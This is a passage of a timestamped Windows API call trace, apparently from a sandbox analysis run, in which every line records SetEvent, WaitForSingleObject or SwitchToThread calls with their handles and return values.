	[0077.453] SetEvent (hEvent=0x8c) returned 1
	[0077.453] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.476] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.479] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.499] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.507] SetEvent (hEvent=0x6c) returned 1
	[0077.507] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.508] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.533] SetEvent (hEvent=0x6c) returned 1
	[0077.533] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.535] SetEvent (hEvent=0x6c) returned 1
	[0077.535] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.535] SetEvent (hEvent=0x6c) returned 1
	[0077.535] SwitchToThread () returned 1
	[0077.536] SetEvent (hEvent=0x6c) returned 1
	[0077.536] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.536] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.565] SetEvent (hEvent=0x6c) returned 1
	[0077.565] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.567] SetEvent (hEvent=0x8c) returned 1
	[0077.567] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.590] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.593] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.624] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.631] SetEvent (hEvent=0x6c) returned 1
	[0077.631] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.631] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.657] SetEvent (hEvent=0x6c) returned 1
	[0077.657] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.659] SetEvent (hEvent=0x6c) returned 1
	[0077.659] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.659] SetEvent (hEvent=0x6c) returned 1
	[0077.659] SwitchToThread () returned 1
	[0077.660] SetEvent (hEvent=0x6c) returned 1
	[0077.660] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.660] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.687] SetEvent (hEvent=0x6c) returned 1
	[0077.687] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.689] SetEvent (hEvent=0x8c) returned 1
	[0077.689] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.713] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.716] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.736] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.742] SetEvent (hEvent=0x8c) returned 1
	[0077.742] SetEvent (hEvent=0xb4) returned 1
	[0077.742] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0077.745] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.745] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x0
	[0077.745] SetEvent (hEvent=0x8c) returned 1
	[0077.745] SetEvent (hEvent=0xb4) returned 1
	[0077.745] SetEvent (hEvent=0x78) returned 1
	[0077.746] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.746] SetEvent (hEvent=0xa8) returned 1
	[0077.746] SetEvent (hEvent=0x78) returned 1
	[0077.746] SetEvent (hEvent=0x6c) returned 1
	[0077.746] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.751] SetEvent (hEvent=0x6c) returned 1
	[0077.751] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.753] SetEvent (hEvent=0x6c) returned 1
	[0077.753] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.753] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.772] SetEvent (hEvent=0x6c) returned 1
	[0077.772] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.774] SetEvent (hEvent=0x78) returned 1
	[0077.774] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.802] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.822] SetEvent (hEvent=0x6c) returned 1
	[0077.822] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.827] SetEvent (hEvent=0x6c) returned 1
	[0077.827] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.827] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.830] SetEvent (hEvent=0x6c) returned 1
	[0077.830] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.830] SetEvent (hEvent=0xb4) returned 1
	[0077.830] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.856] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.875] SetEvent (hEvent=0x6c) returned 1
	[0077.875] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.880] SetEvent (hEvent=0x6c) returned 1
	[0077.880] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.880] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.883] SetEvent (hEvent=0x6c) returned 1
	[0077.883] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.884] SetEvent (hEvent=0x78) returned 1
	[0077.884] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.921] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.941] SetEvent (hEvent=0x6c) returned 1
	[0077.941] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.946] SetEvent (hEvent=0x6c) returned 1
	[0077.946] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.946] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.949] SetEvent (hEvent=0x6c) returned 1
	[0077.949] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.950] SetEvent (hEvent=0xb4) returned 1
	[0077.950] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0077.997] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.017] SetEvent (hEvent=0x6c) returned 1
	[0078.017] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.022] SetEvent (hEvent=0x6c) returned 1
	[0078.022] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.022] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.025] SetEvent (hEvent=0x6c) returned 1
	[0078.025] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.025] SetEvent (hEvent=0x78) returned 1
	[0078.025] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.052] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.071] SetEvent (hEvent=0x6c) returned 1
	[0078.071] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.076] SetEvent (hEvent=0x6c) returned 1
	[0078.076] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.076] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.079] SetEvent (hEvent=0x6c) returned 1
	[0078.080] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.080] SetEvent (hEvent=0xb4) returned 1
	[0078.080] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.118] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.138] SetEvent (hEvent=0x6c) returned 1
	[0078.138] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.143] SetEvent (hEvent=0x6c) returned 1
	[0078.143] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.143] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.146] SetEvent (hEvent=0x6c) returned 1
	[0078.146] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.147] SetEvent (hEvent=0x78) returned 1
	[0078.147] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.183] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.200] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.207] SetEvent (hEvent=0x6c) returned 1
	[0078.207] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.208] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.211] SetEvent (hEvent=0x6c) returned 1
	[0078.211] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.215] SetEvent (hEvent=0xb4) returned 1
	[0078.215] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.241] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.261] SetEvent (hEvent=0x6c) returned 1
	[0078.261] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.266] SetEvent (hEvent=0x6c) returned 1
	[0078.266] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.266] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.269] SetEvent (hEvent=0x6c) returned 1
	[0078.269] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.270] SetEvent (hEvent=0x78) returned 1
	[0078.270] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.311] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.328] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.339] SetEvent (hEvent=0x6c) returned 1
	[0078.339] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.339] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.342] SetEvent (hEvent=0x6c) returned 1
	[0078.342] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.343] SetEvent (hEvent=0xb4) returned 1
	[0078.343] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.381] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.401] SetEvent (hEvent=0x6c) returned 1
	[0078.401] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.413] SetEvent (hEvent=0x6c) returned 1
	[0078.413] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.413] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.416] SetEvent (hEvent=0x6c) returned 1
	[0078.416] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.421] SetEvent (hEvent=0x78) returned 1
	[0078.421] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.460] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.480] SetEvent (hEvent=0x6c) returned 1
	[0078.480] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.486] SetEvent (hEvent=0x6c) returned 1
	[0078.486] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.486] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.489] SetEvent (hEvent=0x6c) returned 1
	[0078.489] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.490] SetEvent (hEvent=0xb4) returned 1
	[0078.490] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.574] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.594] SetEvent (hEvent=0x6c) returned 1
	[0078.594] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.599] SetEvent (hEvent=0x6c) returned 1
	[0078.599] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.600] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.603] SetEvent (hEvent=0x6c) returned 1
	[0078.603] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.604] SetEvent (hEvent=0x78) returned 1
	[0078.604] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.632] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.653] SetEvent (hEvent=0x6c) returned 1
	[0078.653] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.658] SetEvent (hEvent=0x6c) returned 1
	[0078.658] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.658] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.661] SetEvent (hEvent=0x6c) returned 1
	[0078.661] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.662] SetEvent (hEvent=0xb4) returned 1
	[0078.662] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.700] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.717] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.725] SetEvent (hEvent=0x6c) returned 1
	[0078.725] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.725] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.729] SetEvent (hEvent=0x6c) returned 1
	[0078.729] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.730] SetEvent (hEvent=0x78) returned 1
	[0078.730] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.756] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.775] SetEvent (hEvent=0x6c) returned 1
	[0078.775] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.780] SetEvent (hEvent=0x6c) returned 1
	[0078.780] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.781] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.784] SetEvent (hEvent=0x6c) returned 1
	[0078.784] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.785] SetEvent (hEvent=0xb4) returned 1
	[0078.785] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.813] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.824] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.838] SetEvent (hEvent=0x6c) returned 1
	[0078.838] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.838] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.842] SetEvent (hEvent=0x6c) returned 1
	[0078.842] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.843] SetEvent (hEvent=0x78) returned 1
	[0078.843] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.876] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.895] SetEvent (hEvent=0x6c) returned 1
	[0078.895] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.900] SetEvent (hEvent=0x6c) returned 1
	[0078.900] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.900] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.903] SetEvent (hEvent=0x6c) returned 1
	[0078.903] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.904] SetEvent (hEvent=0xb4) returned 1
	[0078.904] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.936] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.956] SetEvent (hEvent=0x6c) returned 1
	[0078.956] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.961] SetEvent (hEvent=0x6c) returned 1
	[0078.961] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.962] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.964] SetEvent (hEvent=0x6c) returned 1
	[0078.965] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.965] SetEvent (hEvent=0x78) returned 1
	[0078.966] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0078.999] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.019] SetEvent (hEvent=0x6c) returned 1
	[0079.020] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.024] SetEvent (hEvent=0x6c) returned 1
	[0079.025] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.025] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.028] SetEvent (hEvent=0x6c) returned 1
	[0079.028] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.029] SetEvent (hEvent=0xb4) returned 1
	[0079.029] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.063] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.085] SetEvent (hEvent=0x6c) returned 1
	[0079.085] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.089] SetEvent (hEvent=0x6c) returned 1
	[0079.089] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.090] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.093] SetEvent (hEvent=0x6c) returned 1
	[0079.093] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.094] SetEvent (hEvent=0x78) returned 1
	[0079.094] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.179] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.199] SetEvent (hEvent=0x6c) returned 1
	[0079.199] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.203] SetEvent (hEvent=0x6c) returned 1
	[0079.203] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.204] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.207] SetEvent (hEvent=0x6c) returned 1
	[0079.207] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.208] SetEvent (hEvent=0xb4) returned 1
	[0079.208] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.238] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.257] SetEvent (hEvent=0x6c) returned 1
	[0079.257] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.262] SetEvent (hEvent=0x6c) returned 1
	[0079.262] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.262] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.265] SetEvent (hEvent=0x6c) returned 1
	[0079.266] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.267] SetEvent (hEvent=0x78) returned 1
	[0079.267] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.350] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.367] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.378] SetEvent (hEvent=0x6c) returned 1
	[0079.378] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.378] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.381] SetEvent (hEvent=0x6c) returned 1
	[0079.381] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.382] SetEvent (hEvent=0xb4) returned 1
	[0079.382] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.410] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.431] SetEvent (hEvent=0x6c) returned 1
	[0079.431] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.436] SetEvent (hEvent=0x6c) returned 1
	[0079.436] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.436] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.439] SetEvent (hEvent=0x6c) returned 1
	[0079.439] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.440] SetEvent (hEvent=0x78) returned 1
	[0079.440] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.470] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.474] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.497] SetEvent (hEvent=0x6c) returned 1
	[0079.497] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.498] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.501] SetEvent (hEvent=0x6c) returned 1
	[0079.501] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.502] SetEvent (hEvent=0xb4) returned 1
	[0079.502] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.530] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.551] SetEvent (hEvent=0x6c) returned 1
	[0079.551] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.556] SetEvent (hEvent=0x6c) returned 1
	[0079.556] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.556] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.559] SetEvent (hEvent=0x6c) returned 1
	[0079.559] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.560] SetEvent (hEvent=0x78) returned 1
	[0079.560] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.588] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.609] SetEvent (hEvent=0x6c) returned 1
	[0079.609] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.614] SetEvent (hEvent=0x6c) returned 1
	[0079.614] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.614] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.617] SetEvent (hEvent=0x6c) returned 1
	[0079.617] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.618] SetEvent (hEvent=0xb4) returned 1
	[0079.618] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.648] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.668] SetEvent (hEvent=0x6c) returned 1
	[0079.668] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.673] SetEvent (hEvent=0x6c) returned 1
	[0079.673] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.673] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.676] SetEvent (hEvent=0x6c) returned 1
	[0079.676] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.678] SetEvent (hEvent=0x78) returned 1
	[0079.678] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.706] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.727] SetEvent (hEvent=0x6c) returned 1
	[0079.727] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.732] SetEvent (hEvent=0x6c) returned 1
	[0079.732] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.732] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.735] SetEvent (hEvent=0x6c) returned 1
	[0079.735] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.736] SetEvent (hEvent=0xb4) returned 1
	[0079.736] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.763] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.783] SetEvent (hEvent=0x6c) returned 1
	[0079.783] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.788] SetEvent (hEvent=0x6c) returned 1
	[0079.788] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.788] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.791] SetEvent (hEvent=0x6c) returned 1
	[0079.791] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.792] SetEvent (hEvent=0x78) returned 1
	[0079.793] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.827] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.848] SetEvent (hEvent=0x6c) returned 1
	[0079.848] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.853] SetEvent (hEvent=0x6c) returned 1
	[0079.853] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.853] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.856] SetEvent (hEvent=0x6c) returned 1
	[0079.856] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0079.857] SetEvent (hEvent=0xb4) returned 1
	[0079.857] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
